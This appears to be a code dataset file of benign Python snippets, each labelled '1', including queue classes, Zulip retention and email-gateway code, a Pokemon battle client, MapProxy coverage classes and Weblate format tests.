search for. Returns ------- The element in the queue identical to `item`. If the element was not found, None is returned. """""" try: index = self._queue.index(item) return self._queue[index] except Exception: return None def remove(self, item): """"""Remove an element from the queue. Parameters ---------- item : The element to remove. """""" self._queue.remove(item) class FIFOQueue(Queue): """"""The first-in-first-out (FIFO) queue. In a FIFO queue the first element added to the queue is the first element to be removed. Examples -------- >>> q = FIFOQueue() >>> q.push(5) >>> q.extend([1, 3, 7]) >>> print q [5, 1, 3, 7] Retrieving an element: >>> q.pop() 5 Removing an element: >>> q.remove(3) >>> print q [1, 7] Get the element in the queue identical to the given item: >>> q.get(7) 7 Check if the queue is empty: >>> q.empty() False Loop over the elements in the queue: >>> for x in q: >>> print x 1 7 Check if an element is in the queue: >>> if 7 in q: >>> print ""yes"" yes See Also -------- :class:`PriorityQueue` """""" def __init__(self): super(FIFOQueue, self).__init__() def push(self, item): """"""Push an element to the end of the queue. Parameters ---------- item : The element to append. """""" self._queue.append(item) def pop(self): """"""Return the element at the front of the queue. Returns ------- The first element in the queue. """""" return self._queue.pop(0) def extend(self, items): """"""Append a list of elements at the end of the queue. Parameters ---------- items : list List of elements. """""" self._queue.extend(items) class PriorityQueue(Queue): """""" The priority queue. In a priority queue each element has a priority associated with it. An element with high priority (i.e., smallest value) is served before an element with low priority (i.e., largest value). The priority queue is implemented with a heap. Parameters ---------- func : callable A callback function handling the priority. By default the priority is the value of the element. Examples -------- >>> q = PriorityQueue() >>> q.push(5) >>> q.extend([1, 3, 7]) >>> print q [(1,1), (5,5), (3,3), (7,7)] Retrieving the element with highest priority: >>> q.pop() 1 Removing an element: >>> q.remove((3, 3)) >>> print q [(5,5), (7,7)] Get the element in the queue identical to the given item: >>> q.get(7) 7 Check if the queue is empty: >>> q.empty() False Loop over the elements in the queue: >>> for x in q: >>> print x (5, 5) (7, 7) Check if an element is in the queue: >>> if 7 in q: >>> print ""yes"" yes See Also -------- :class:`FIFOQueue` """""" def __init__(self, func=lambda x: x): super(PriorityQueue, self).__init__() self.func = func def __contains__(self, item): for _, element in self._queue: if item == element: return True return False def __str__(self): return '[' + ', '.join('({},{})'.format(*el) for el in self._queue) + ']' def push(self, item): """"""Push an element on the priority queue. The element is pushed on the priority queue according to its priority. Parameters ---------- item : The element to push on the queue. """""" heapq.heappush(self._queue, (self.func(item), item)) def pop(self): """"""Get the element with the highest priority. Get the element with the highest priority (i.e., smallest value). Returns ------- The element with the highest priority. """""" return heapq.heappop(self._queue)[1] def get(self, item): """"""Return the element in the queue identical to `item`. Parameters ---------- item : The element to search for. Returns ------- The element in the queue identical to `item`. If the element was not found, None is returned. """""" for _, element in self._queue: if item == element: return element return None def remove(self, item): """"""Remove an element from the queue. Parameters ---------- item : The element to remove. """""" super(PriorityQueue, self).remove(item) heapq.heapify(self._queue) ",1 "est_classes import ZulipTestCase from zerver.lib.upload import create_attachment from zerver.models import Message, Realm, Recipient, UserProfile, UserMessage, ArchivedUserMessage, \ ArchivedMessage, Attachment, ArchivedAttachment from zerver.lib.retention import get_expired_messages, move_message_to_archive from typing import Any, List from six.moves import range class TestRetentionLib(ZulipTestCase): """""" Test receiving expired messages retention tool. """""" def setUp(self): # type: () -> None super(TestRetentionLib, self).setUp() self.zulip_realm = self._set_realm_message_retention_value('zulip', 30) self.mit_realm = self._set_realm_message_retention_value('zephyr', 100) @staticmethod def _set_realm_message_retention_value(realm_str, retention_period): # type: (str, int) -> Realm realm = Realm.objects.get(string_id=realm_str) realm.message_retention_days = retention_period realm.save() return realm @staticmethod def _change_messages_pub_date(msgs_ids, pub_date): # type: (List[int], datetime) -> Any messages = Message.objects.filter(id__in=msgs_ids).order_by('id') messages.update(pub_date=pub_date) return messages def _make_mit_messages(self, message_quantity, pub_date): # type: (int, datetime) -> Any # send messages from mit.edu realm and change messages pub date sender = self.mit_user('espuser') recipient = self.mit_user('starnine') msgs_ids = [self.send_message(sender.email, recipient.email, Recipient.PERSONAL) for i in range(message_quantity)] mit_messages = self._change_messages_pub_date(msgs_ids, pub_date) return mit_messages def test_expired_messages_result_type(self): # type: () -> None # Check return type of get_expired_message method. result = get_expired_messages() self.assertIsInstance(result, types.GeneratorType) def test_no_expired_messages(self): # type: () -> None result = list(get_expired_messages()) self.assertFalse(result) def test_expired_messages_in_each_realm(self): # type: () -> None # Check result realm messages order and result content # when all realm has expired messages. expired_mit_messages = self._make_mit_messages(3, timezone_now() - timedelta(days=101)) self._make_mit_messages(4, timezone_now() - timedelta(days=50)) zulip_messages_ids = Message.objects.order_by('id').filter( sender__realm=self.zulip_realm).values_list('id', flat=True)[3:10] expired_zulip_messages = self._change_messages_pub_date(zulip_messages_ids, timezone_now() - timedelta(days=31)) # Iterate by result expired_messages_result = [messages_list for messages_list in get_expired_messages()] self.assertEqual(len(expired_messages_result), 2) # Check mit.edu realm expired messages. self.assertEqual(len(expired_messages_result[0]['expired_messages']), 3) self.assertEqual(expired_messages_result[0]['realm_id'], self.mit_realm.id) # Check zulip.com realm expired messages. self.assertEqual(len(expired_messages_result[1]['expired_messages']), 7) self.assertEqual(expired_messages_result[1]['realm_id'], self.zulip_realm.id) # Compare expected messages ids with result messages ids. self.assertEqual( sorted([message.id for message in expired_mit_messages]), [message.id for message in expired_messages_result[0]['expired_messages']] ) self.assertEqual( sorted([message.id for message in expired_zulip_messages]), [message.id for message in expired_messages_result[1]['expired_messages']] ) def test_expired_messages_in_one_realm(self): # type: () -> None # Check realm with expired messages and messages # with one day to expiration data. expired_mit_messages = self._make_mit_messages(5, timezone_now() - timedelta(days=101)) actual_mit_messages = self._make_mit_messages(3, timezone_now() - timedelta(days=99)) expired_messages_result = list(get_expired_messages()) expired_mit_messages_ids = [message.id for message in expired_mit_messages] expired_mit_messages_result_ids = [message.id for message in expired_messages_result[0]['expired_messages']] actual_mit_messages_ids = [message.id for message in actual_mit_messages] self.assertEqual(len(expired_messages_result), 1) self.assertEqual(len(expired_messages_result[0]['expired_messages']), 5) self.assertEqual(expired_messages_result[0]['realm_id'], self.mit_realm.id) # Compare expected messages ids with result messages ids. self.assertEqual( sorted(expired_mit_messages_ids), expired_mit_messages_result_ids ) # Check actual mit.edu messages are not contained in expired messages list self.assertEqual( set(actual_mit_messages_ids) - set(expired_mit_messages_ids), set(actual_mit_messages_ids) ) class TestMoveMessageToArchive(ZulipTestCase): def setUp(self): # type: () -> None super(TestMoveMessageToArchive, self).setUp() self.sender = 'hamlet@zulip.com' self.recipient = 'cordelia@zulip.com' def _create_attachments(self): # type: () -> None sample_size = 10 dummy_files = [ ('zulip.txt', '1/31/4CBjtTLYZhk66pZrF8hnYGwc/zulip.txt', sample_size), ('temp_file.py', '1/31/4CBjtTLYZhk66pZrF8hnYGwc/temp_file.py', sample_size), ('abc.py', '1/31/4CBjtTLYZhk66pZrF8hnYGwc/abc.py', sample_size) ] user_profile = self.example_user('hamlet') for file_name, path_id, size in dummy_files: create_attachment(file_name, path_id, user_profile, size) def _check_messages_before_archiving(self, msg_id): # type: (int) -> List user_messages_ids_before = list(UserMessage.objects.filter( message_id=msg_id).order_by('id').values_list('id', flat=True)) self.assertEqual(ArchivedUserMessage.objects.count(), 0) self.assertEqual(ArchivedMessage.objects.count(), 0) return user_messages_ids_before def _check_messages_after_archiving(self, msg_id, user_msgs_ids_before): # type: (int, List[int]) -> None self.assertEqual(ArchivedMessage.objects.filter(id=msg_id).count(), 1) self.assertEqual(Message.objects.filter(id=msg_id).count(), 0) self.assertEqual(UserMessage.objects.filter(message_id=msg_id).count(), 0) arc_user_messages_ids_after = list(ArchivedUserMessage.objects.filter( message_id=msg_id).order_by('id').values_list('id', flat=True)) self.assertEqual(arc_user_messages_ids_after, user_msgs_ids_before) def test_personal_message_archiving(self): # type: ()-> None msg_id = self.send_message(self.sender, [self.recipient], Recipient.PERSONAL) user_messages_ids_before = self._check_messages_before_archiving(msg_id) move_message_to_archive(message_id=msg_id) self._check_messages_after_archiving(msg_id, user_messages_ids_before) def test_stream_message_archiving(self): # type: ()-> None msg_id = self.send_message(self.sender, ""Verona"", Recipient.STREAM) user_messages_ids_before = self._check_messages_before_archiving(msg_id) move_message_to_archive(message_id=msg_id) self._check_messages_after_archiving(msg_id, user_messages_ids_before) def test_archiving_message_second_time(self): # type: ()-> None msg_id = self.send_message(self.sender, ""Verona"", Recipient.STREAM) user_messages_ids_before = self._check_messages_before_archiving(msg_id) move_message_to_archive(message_id=msg_id) self._check_messages_after_archiving(msg_id, user_messages_ids_before) with self.assertRaises(Message.DoesNotExist): move_message_to_archive(message_id=msg_id) def test_archiving_message_with_attachment(self): # type: () -> None self._create_attachments() body = """"""Some files here ...[zulip.txt]( http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/zulip.txt) http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/temp_file.py .... Some more.... http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/abc.py """""" msg_id = self.send_message(self.sender, [self.recipient], Recipient.PERSONAL, body) user_messages_ids_before = self._check_messages_before_archiving(msg_id) attachments_ids_before = list(Attachment.objects.filter( messages__id=msg_id).order_by(""id"").values_list(""id"", flat=True)) self.assertEqual(ArchivedAttachment.objects.count(), 0) move_message_to_archive(message_id=msg_id) self._check_messages_after_archiving(msg_id, user_messages_ids_before) self.assertEqual(Attachment.objects.count(), 0) arc_attachments_ids_after = list(ArchivedAttachment.objects.filter( messages__id=msg_id).order_by(""id"").values_list(""id"", flat=True)) self.assertEqual(attachments_ids_before, arc_attachments_ids_after) def test_archiving_message_with_shared_attachment(self): # type: () -> None # Check do not removing attachments which is used in other messages. self._create_attachments() body = """"""Some files here ...[zulip.txt]( http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/zulip.txt) http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/temp_file.py .... Some more.... http://localhost:9991/user_uploads/1/31/4CBjtTLYZhk66pZrF8hnYGwc/abc.py """""" msg_id = self.send_message(self.sender, [self.recipient], Recipient.PERSONAL, body) msg_id_shared_attachments = self.send_message(self.recipient, [self.sender], Recipient.PERSONAL, body) user_messages_ids_before = self._check_messages_before_archiving(msg_id) attachments_ids_before = list(Attachment.objects.filter( messages__id=msg_id).order_by(""id"").values_list(""id"", flat=True)) self.assertEqual(ArchivedAttachment.objects.count(), 0) move_message_to_archive(message_id=msg_id) self._check_messages_after_archiving(msg_id, user_messages_ids_before) self.assertEqual(Attachment.objects.count(), 3) arc_attachments_ids_after = list(ArchivedAttachment.objects.filter( messages__id=msg_id).order_by(""id"").values_list(""id"", flat=True)) self.assertEqual(attachments_ids_before, arc_attachments_ids_after) move_message_to_archive(message_id=msg_id_shared_attachments) self.assertEqual(Attachment.objects.count(), 0) ",1 "self, execute = False, ip = '127.0.0.1', port = 5000, npc = False): self.ip = ip self.port = port self.npc = npc if (execute): self.iniciaBatalha() def writeXML(self, pkmn): #Escreve um XML a partir de um pokemon root = ET.Element('battle_state') ET.SubElement(root, ""pokemon"") poke = root.find('pokemon') ET.SubElement(poke, ""name"") poke.find('name').text = pkmn.getNome() ET.SubElement(poke, ""level"") poke.find('level').text = str(pkmn.getLvl()) ET.SubElement(poke, ""attributes"") poke_att = poke.find('attributes') ET.SubElement(poke_att, ""health"") poke_att.find('health').text = str(pkmn.getHp()) ET.SubElement(poke_att, ""attack"") poke_att.find('attack').text = str(pkmn.getAtk()) ET.SubElement(poke_att, ""defense"") poke_att.find('defense').text = str(pkmn.getDefe()) ET.SubElement(poke_att, ""speed"") poke_att.find('speed').text = str(pkmn.getSpd()) ET.SubElement(poke_att, ""special"") poke_att.find('special').text = str(pkmn.getSpc()) ET.SubElement(poke, ""type"") ET.SubElement(poke, ""type"") tipos = poke.findall('type') tipos[0].text = str(pkmn.getTyp1()) tipos[1].text = str(pkmn.getTyp2()) for i in range(0, 4): atk = pkmn.getAtks(i) if (atk is not None): ET.SubElement(poke, ""attacks"") poke_atk = poke.findall('attacks') ET.SubElement(poke_atk[-1], ""id"") poke_atk[-1].find('id').text = str(i + 1) ET.SubElement(poke_atk[-1], ""name"") poke_atk[-1].find('name').text = atk.getNome() ET.SubElement(poke_atk[-1], ""type"") poke_atk[-1].find('type').text = str(atk.getTyp()) ET.SubElement(poke_atk[-1], ""power"") poke_atk[-1].find('power').text = str(atk.getPwr()) ET.SubElement(poke_atk[-1], ""accuracy"") poke_atk[-1].find('accuracy').text = str(atk.getAcu()) ET.SubElement(poke_atk[-1], ""power_points"") poke_atk[-1].find('power_points').text = str(atk.getPpAtual()) s = ET.tostring(root) return s def iniciaBatalha(self): pkmn = pokemon.Pokemon() xml = self.writeXML(pkmn) try: self.battle_state = requests.post('http://{}:{}/battle/'.format(self.ip, self.port), data = xml).text except requests.exceptions.ConnectionError: print(""Não foi possível conectar ao servidor."") return None pkmn2 = pokemon.lePokemonXML(1, self.battle_state) self.batalha = batalha.Batalha([pkmn, pkmn2]) if (self.npc): self.batalha.pkmn[0].npc = True print(""Eu sou um NPC"") self.batalha.turno = 0 self.batalha.display.showPokemon(self.batalha.pkmn[0]) self.batalha.display.showPokemon(self.batalha.pkmn[1]) return self.atualizaBatalha() def atualizaBatalha(self): self.batalha.AlternaTurno() root = ET.fromstring(self.battle_state) for i in range(0,2): pkmnXML = root[i] atksXML = root[i].findall('attacks') pkmn = self.batalha.pkmn[i] pkmn.setHpAtual(int(pkmnXML.find('attributes').find('health').text)) self.batalha.showStatus() if (not self.batalha.isOver()): self.batalha.AlternaTurno() if (self.batalha.pkmn[self.batalha.turno].npc): id = self.batalha.EscolheAtaqueInteligente() else: id = self.batalha.EscolheAtaque() self.batalha.pkmn[0].getAtks(id).decreasePp() if (id == 4): self.battle_state = requests.post('http://{}:{}/battle/attack/{}'.format(self.ip, self.port, 0)).text else: self.battle_state = requests.post('http://{}:{}/battle/attack/{}'.format(self.ip, self.port, id + 1)).text self.simulaAtaque(id) self.atualizaBatalha() else: self.batalha.showResults() return 'FIM' def sendShutdownSignal(self): requests.post('http://{}:{}/shutdown'.format(self.ip, self.port)) def simulaAtaque(self, idCliente): disp = self.batalha.display root = ET.fromstring(self.battle_state) pkmnCXML = root[0] pkmnC = self.batalha.pkmn[0] pkmnSXML = root[1] pkmnS = self.batalha.pkmn[1] atksXML = pkmnSXML.findall('attacks') idServidor = self.descobreAtaqueUsado(atksXML, pkmnS) if (int(pkmnSXML.find('attributes').find('health').text) > 0): if (idCliente != 4): if (idServidor != 4): dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text) if (dmg == 0): disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente)) else: disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg) dmg = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text) if (dmg == 0): disp.miss(pkmnS, pkmnC, pkmnS.getAtks(idServidor)) else: disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmg) else: dmgStruggle = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text) dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text) + round(dmgStruggle / 2, 0) if (dmg == 0): disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente)) else: disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg) disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmgStruggle) disp.hitSelf(pkmnS, round(dmgStruggle / 2, 0)) else: if (idServidor != 4): dmgStruggle = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text) disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmgStruggle) disp.hitSelf(pkmnC, round(dmgStruggle / 2, 0)) dmg = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text) + round(dmgStruggle / 2, 0) if (dmg == 0): disp.miss(pkmnS, pkmnC, pkmnS.getAtks(idServidor)) else: disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmg) else: print('Ambos usam e se machucam com Struggle!') else: if (idCliente != 4): dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text) if (dmg == 0): disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente)) else: disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg) else: dmgStruggle = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text) disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idServidor), dmgStruggle * 2) disp.hitSelf(pkmnC, round(dmgStruggle, 0)) def descobreAtaqueUsado(self, atksXML, pkmn): for i in range(0, len(atksXML)): id = int(atksXML[i].find('id').text) - 1 ppXML = int(atksXML[i].find('power_points').text) pp = pkmn.getAtks(id).getPpAtual() if (pp != ppXML): pkmn.getAtks(id).decreasePp() return id return id ",1 "variable #creates array if needbe #array = [[0 for x in range(h)] for y in range(w)] #imports date time and curency handeling because i hate string formating (this takes the place of #$%.2f""%) import locale locale.setlocale( locale.LC_ALL, '' ) #use locale.currency() for currency formating print(""Welcome to the (insert name here bumbblefack) Program\n"") limit = float(input(""How many squares do you want? "")) num = 1 print(""number\tnumber^2"") while num <= limit: #prints the number and squares it then seperates by a tab print (num,num**2,sep='\t') #increments num += 1 input(""\nPress Enter to Exit"") ",1 "the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import with_statement import operator import threading from mapproxy.grid import bbox_intersects, bbox_contains from mapproxy.util.py import cached_property from mapproxy.util.geom import ( require_geom_support, load_polygon_lines, transform_geometry, bbox_polygon, ) from mapproxy.srs import SRS import logging log_config = logging.getLogger('mapproxy.config.coverage') try: import shapely.geometry import shapely.prepared except ImportError: # missing Shapely is handled by require_geom_support pass def coverage(geom, srs): if isinstance(geom, (list, tuple)): return BBOXCoverage(geom, srs) else: return GeomCoverage(geom, srs) def load_limited_to(limited_to): require_geom_support() srs = SRS(limited_to['srs']) geom = limited_to['geometry'] if not hasattr(geom, 'type'): # not a Shapely geometry if isinstance(geom, (list, tuple)): geom = bbox_polygon(geom) else: polygons = load_polygon_lines(geom.split('\n')) if len(polygons) == 1: geom = polygons[0] else: geom = shapely.geometry.MultiPolygon(polygons) return GeomCoverage(geom, srs, clip=True) class MultiCoverage(object): clip = False """"""Aggregates multiple coverages"""""" def __init__(self, coverages): self.coverages = coverages self.bbox = self.extent.bbox @cached_property def extent(self): return reduce(operator.add, [c.extent for c in self.coverages]) def intersects(self, bbox, srs): return any(c.intersects(bbox, srs) for c in self.coverages) def contains(self, bbox, srs): return any(c.contains(bbox, srs) for c in self.coverages) def transform_to(self, srs): return MultiCoverage([c.transform_to(srs) for c in self.coverages]) def __eq__(self, other): if not isinstance(other, MultiCoverage): return NotImplemented if self.bbox != other.bbox: return False if len(self.coverages) != len(other.coverages): return False for a, b in zip(self.coverages, other.coverages): if a != b: return False return True def __ne__(self, other): if not isinstance(other, MultiCoverage): return NotImplemented return not self.__eq__(other) def __repr__(self): return '' % (self.extent.llbbox, self.coverages) class BBOXCoverage(object): clip = False def __init__(self, bbox, srs): self.bbox = bbox self.srs = srs self.geom = None @property def extent(self): from mapproxy.layer import MapExtent return MapExtent(self.bbox, self.srs) def _bbox_in_coverage_srs(self, bbox, srs): if srs != self.srs: bbox = srs.transform_bbox_to(self.srs, bbox) return bbox def intersects(self, bbox, srs): bbox = self._bbox_in_coverage_srs(bbox, srs) return bbox_intersects(self.bbox, bbox) def intersection(self, bbox, srs): bbox = self._bbox_in_coverage_srs(bbox, srs) intersection = ( max(self.bbox[0], bbox[0]), max(self.bbox[1], bbox[1]), min(self.bbox[2], bbox[2]), min(self.bbox[3], bbox[3]), ) if intersection[0] >= intersection[2] or intersection[1] >= intersection[3]: return None return BBOXCoverage(intersection, self.srs) def contains(self, bbox, srs): bbox = self._bbox_in_coverage_srs(bbox, srs) return bbox_contains(self.bbox, bbox) def transform_to(self, srs): if srs == self.srs: return self bbox = self.srs.transform_bbox_to(srs, self.bbox) return BBOXCoverage(bbox, srs) def __eq__(self, other): if not isinstance(other, BBOXCoverage): return NotImplemented if self.srs != other.srs: return False if self.bbox != other.bbox: return False return True def __ne__(self, other): if not isinstance(other, BBOXCoverage): return NotImplemented return not self.__eq__(other) def __repr__(self): return '' % (self.extent.llbbox, self.bbox) class GeomCoverage(object): def __init__(self, geom, srs, clip=False): self.geom = geom self.bbox = geom.bounds self.srs = srs self.clip = clip self._prep_lock = threading.Lock() self._prepared_geom = None self._prepared_counter = 0 self._prepared_max = 10000 @property def extent(self): from mapproxy.layer import MapExtent return MapExtent(self.bbox, self.srs) @property def prepared_geom(self): # GEOS internal data structure for prepared geometries grows over time, # recreate to limit memory consumption if not self._prepared_geom or self._prepared_counter > self._prepared_max: self._prepared_geom = shapely.prepared.prep(self.geom) self._prepared_counter = 0 self._prepared_counter += 1 return self._prepared_geom def _geom_in_coverage_srs(self, geom, srs): if isinstance(geom, shapely.geometry.base.BaseGeometry): if srs != self.srs: geom = transform_geometry(srs, self.srs, geom) elif len(geom) == 2: if srs != self.srs: geom = srs.transform_to(self.srs, geom) geom = shapely.geometry.Point(geom) else: if srs != self.srs: geom = srs.transform_bbox_to(self.srs, geom) geom = bbox_polygon(geom) return geom def transform_to(self, srs): if srs == self.srs: return self geom = transform_geometry(self.srs, srs, self.geom) return GeomCoverage(geom, srs) def intersects(self, bbox, srs): bbox = self._geom_in_coverage_srs(bbox, srs) with self._prep_lock: return self.prepared_geom.intersects(bbox) def intersection(self, bbox, srs): bbox = self._geom_in_coverage_srs(bbox, srs) return GeomCoverage(self.geom.intersection(bbox), self.srs) def contains(self, bbox, srs): bbox = self._geom_in_coverage_srs(bbox, srs) with self._prep_lock: return self.prepared_geom.contains(bbox) def __eq__(self, other): if not isinstance(other, GeomCoverage): return NotImplemented if self.srs != other.srs: return False if self.bbox != other.bbox: return False if not self.geom.equals(other.geom): return False return True def __ne__(self, other): if not isinstance(other, GeomCoverage): return NotImplemented return not self.__eq__(other) def __repr__(self): return '' % (self.extent.llbbox, self.geom)",1 " It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """""" import os os.environ.setdefault(""DJANGO_SETTINGS_MODULE"", ""ahaha.settings"") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application) ",1 "ef warn(*msgs): for x in msgs: print('[WARNING]:', x, file=sys.stderr) class PDBTM: def __init__(self, filename): #self.tree = ET.parse(filename) #self.root = self.tree.getroot() def strsum(l): s = '' for x in l: s += x.rstrip() + '\n' return s f = open(filename) s = [] for l in f: s.append(l) #s = strsum(s[1:-1]).strip() s = strsum(s).strip() self.root = ET.fromstring(s) print(root) def get_database(prefix='.'): if not prefix.endswith('/'): prefix += '/' print('Fetching database...', file=sys.stderr) db = urllib.urlopen('http://pdbtm.enzim.hu/data/pdbtmall') print('Saving database...', file=sys.stderr) f = open('%s/pdbtmall' % prefix, 'w') for l in db: f.write(l) #f.write(db.read()) db.close() f.close() def build_database(fn, prefix): print('Unpacking database...', file=sys.stderr) f = open(fn) db = f.read() f.close() firstline = 1 header = '' entries = [] pdbids = [] for l in db.split('\n'): if firstline: header += l firstline -= 1 continue if 'PDBTM>' in l: continue if l.startswith('. # """"""File format specific behavior."""""" from weblate.formats.convert import ( HTMLFormat, IDMLFormat, OpenDocumentFormat, PlainTextFormat, WindowsRCFormat, ) from weblate.formats.helpers import BytesIOMode from weblate.formats.tests.test_formats import AutoFormatTest from weblate.trans.tests.utils import get_test_file IDML_FILE = get_test_file(""en.idml"") HTML_FILE = get_test_file(""cs.html"") OPENDOCUMENT_FILE = get_test_file(""cs.odt"") TEST_RC = get_test_file(""cs-CZ.rc"") TEST_TXT = get_test_file(""cs.txt"") class ConvertFormatTest(AutoFormatTest): NEW_UNIT_MATCH = None EXPECTED_FLAGS = """" def parse_file(self, filename): return self.FORMAT(filename, template_store=self.FORMAT(filename)) class HTMLFormatTest(ConvertFormatTest): FORMAT = HTMLFormat FILE = HTML_FILE MIME = ""text/html"" EXT = ""html"" COUNT = 5 MASK = ""*/translations.html"" EXPECTED_PATH = ""cs_CZ/translations.html"" FIND_CONTEXT = ""+html.body.p:5-1"" FIND_MATCH = ""Orangutan has five bananas."" MATCH = b"""" NEW_UNIT_MATCH = None BASE = HTML_FILE EXPECTED_FLAGS = """" EDIT_OFFSET = 1 class OpenDocumentFormatTest(ConvertFormatTest): FORMAT = OpenDocumentFormat FILE = OPENDOCUMENT_FILE MIME = ""application/vnd.oasis.opendocument.text"" EXT = ""odt"" COUNT = 4 MASK = ""*/translations.odt"" EXPECTED_PATH = ""cs_CZ/translations.odt"" FIND_CONTEXT = ( ""odf///office:document-content[0]/office:body[0]/office:text[0]/text:p[1]"" ) FIND_MATCH = ""Orangutan has five bananas."" MATCH = b""PK"" NEW_UNIT_MATCH = None BASE = OPENDOCUMENT_FILE EXPECTED_FLAGS = """" EDIT_OFFSET = 1 @staticmethod def extract_document(content): return bytes( OpenDocumentFormat.convertfile(BytesIOMode(""test.odt"", content), None) ).decode() def assert_same(self, newdata, testdata): self.assertEqual( self.extract_document(newdata), self.extract_document(testdata), ) class IDMLFormatTest(ConvertFormatTest): FORMAT = IDMLFormat FILE = IDML_FILE MIME = ""application/octet-stream"" EXT = ""idml"" COUNT = 6 MASK = ""*/translations.idml"" EXPECTED_PATH = ""cs_CZ/translations.idml"" FIND_CONTEXT = ( ""idPkg:Story[0]/{}Story[0]/{}XMLElement[0]/{}ParagraphStyleRange[0]"" ""Stories/Story_mainmainmainmainmainmainmainmainmainmainmainu188.xml"" ) FIND_MATCH = """"""THE HEADLINE HERE"""""" MATCH = b""PK"" NEW_UNIT_MATCH = None BASE = IDML_FILE EXPECTED_FLAGS = """" EDIT_OFFSET = 1 @staticmethod def extract_document(content): return bytes( IDMLFormat.convertfile(BytesIOMode(""test.idml"", content), None) ).decode() def assert_same(self, newdata, testdata): self.assertEqual( self.extract_document(newdata), self.extract_document(testdata), ) class WindowsRCFormatTest(ConvertFormatTest): FORMAT = WindowsRCFormat FILE = TEST_RC BASE = TEST_RC MIME = ""text/plain"" EXT = ""rc"" COUNT = 5 MASK = ""rc/*.rc"" EXPECTED_PATH = ""rc/cs-CZ.rc"" MATCH = ""STRINGTABLE"" FIND_CONTEXT = ""STRINGTABLE.IDS_MSG1"" FIND_MATCH = ""Hello, world!\n"" EDIT_OFFSET = 1 class PlainTextFormatTest(ConvertFormatTest): FORMAT = PlainTextFormat FILE = TEST_TXT BASE = TEST_TXT MIME = ""text/plain"" EXT = ""txt"" COUNT = 5 MASK = ""txt/*.txt"" EXPECTED_PATH = ""txt/cs_CZ.txt"" MATCH = ""Hello"" FIND_CONTEXT = ""cs.txt:2"" FIND_MATCH = ""Hello, world!"" EDIT_OFFSET = 1 ",1 "tion/email-gateway.html The email gateway supports two major modes of operation: An email server (using postfix) where the email address configured in EMAIL_GATEWAY_PATTERN delivers emails directly to Zulip, and this, a cron job that connects to an IMAP inbox (which receives the emails) periodically. Run this in a cronjob every N minutes if you have configured Zulip to poll an external IMAP mailbox for messages. The script will then connect to your IMAP server and batch-process all messages. We extract and validate the target stream from information in the recipient address and retrieve, forward, and archive the message. """""" import email import email.policy import logging from email.message import EmailMessage from imaplib import IMAP4_SSL from typing import Any, Generator from django.conf import settings from django.core.management.base import BaseCommand, CommandError from zerver.lib.email_mirror import logger, process_message ## Setup ## log_format = ""%(asctime)s: %(message)s"" logging.basicConfig(format=log_format) formatter = logging.Formatter(log_format) file_handler = logging.FileHandler(settings.EMAIL_MIRROR_LOG_PATH) file_handler.setFormatter(formatter) logger.setLevel(logging.DEBUG) logger.addHandler(file_handler) def get_imap_messages() -> Generator[EmailMessage, None, None]: mbox = IMAP4_SSL(settings.EMAIL_GATEWAY_IMAP_SERVER, settings.EMAIL_GATEWAY_IMAP_PORT) mbox.login(settings.EMAIL_GATEWAY_LOGIN, settings.EMAIL_GATEWAY_PASSWORD) try: mbox.select(settings.EMAIL_GATEWAY_IMAP_FOLDER) try: status, num_ids_data = mbox.search(None, 'ALL') for message_id in num_ids_data[0].split(): status, msg_data = mbox.fetch(message_id, '(RFC822)') assert isinstance(msg_data[0], tuple) msg_as_bytes = msg_data[0][1] message = email.message_from_bytes(msg_as_bytes, policy=email.policy.default) # https://github.com/python/typeshed/issues/2417 assert isinstance(message, EmailMessage) yield message mbox.store(message_id, '+FLAGS', '\\Deleted') mbox.expunge() finally: mbox.close() finally: mbox.logout() class Command(BaseCommand): help = __doc__ def handle(self, *args: Any, **options: str) -> None: # We're probably running from cron, try to batch-process mail if (not settings.EMAIL_GATEWAY_BOT or not settings.EMAIL_GATEWAY_LOGIN or not settings.EMAIL_GATEWAY_PASSWORD or not settings.EMAIL_GATEWAY_IMAP_SERVER or not settings.EMAIL_GATEWAY_IMAP_PORT or not settings.EMAIL_GATEWAY_IMAP_FOLDER): raise CommandError(""Please configure the email mirror gateway in /etc/zulip/, "" ""or specify $ORIGINAL_RECIPIENT if piping a single mail."") for message in get_imap_messages(): process_message(message) 